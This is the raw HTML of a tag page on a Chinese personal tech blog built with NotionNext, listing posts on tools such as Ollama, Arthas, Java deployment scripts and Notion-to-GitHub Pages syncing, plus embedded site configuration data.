+<!DOCTYPE html><html lang="zh-CN"><head><title>工具 | Tags | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="Notion, 博客"/><meta name="description" content="talk is cheap"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="工具 | Tags | Both Savage"/><meta property="og:description" content="talk is cheap"/><meta property="og:url" content="https://bothsavage.github.io//tag/工具"/><meta property="og:image" content="https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="website"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="talk is cheap"/><meta name="twitter:title" content="工具 | Tags | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta name="next-head-count" content="18"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/tag/%5Btag%5D-27fd94272e69240a.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div class="mt-10"><div class="w-full justify-center"><div id="posts-wrapper"><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div><div class="my-10 flex justify-between font-medium text-black dark:text-gray-100 space-x-2"><a rel="prev" class="invisible text-center w-full duration-200 px-4 py-2 hover:border-green-500 border-b-2 hover:font-bold" href="/tag/%E5%B7%A5%E5%85%B7/page/0">←<!-- -->Prev</a><a rel="next" class="invisible text-center w-full duration-200 px-4 py-2 hover:border-green-500 border-b-2 hover:font-bold" href="/tag/%E5%B7%A5%E5%85%B7/page/2">Next<!-- -->→</a></div></div></div></div><div id="jump-to-top" data-aos="fade-up" data-aos-duration="300" data-aos-once="false" data-aos-anchor-placement="top-center" class="fixed xl:right-80 right-2 mr-10 bottom-24 z-20"><i class="fas fa-chevron-up cursor-pointer p-2 rounded-full border bg-white dark:bg-hexo-black-gray"></i></div></div><div class="md:hidden"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div style="width:32rem" class="hidden xl:block dark:border-transparent relative z-10 "><div class="py-14 px-6 sticky top-0"><div class="py-4"></div></div></div></main><div id="gitbook-left-float" class="fixed top-0 left-0 z-40 md:hidden"><div class="-ml-80 animate__slideOutLeft overflow-y-hidden shadow-card w-72 duration-200 fixed left-1 top-16 rounded py-2 bg-white dark:bg-gray-600"><div class="dark:text-gray-400 text-gray-600 h-96 overflow-y-scroll p-3"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div></div><div id="left-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div><script async="" src="https://www.googletagmanager.com/gtag/js?id=G-XT4YTFWNBG"></script><script async="">
                 window.dataLayer = window.dataLayer || [];
                 function gtag(){dataLayer.push(arguments);}
                 gtag('js', new Date());
                 gtag('config', 'G-XT4YTFWNBG', {
                   page_path: window.location.pathname,
                 });
-              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 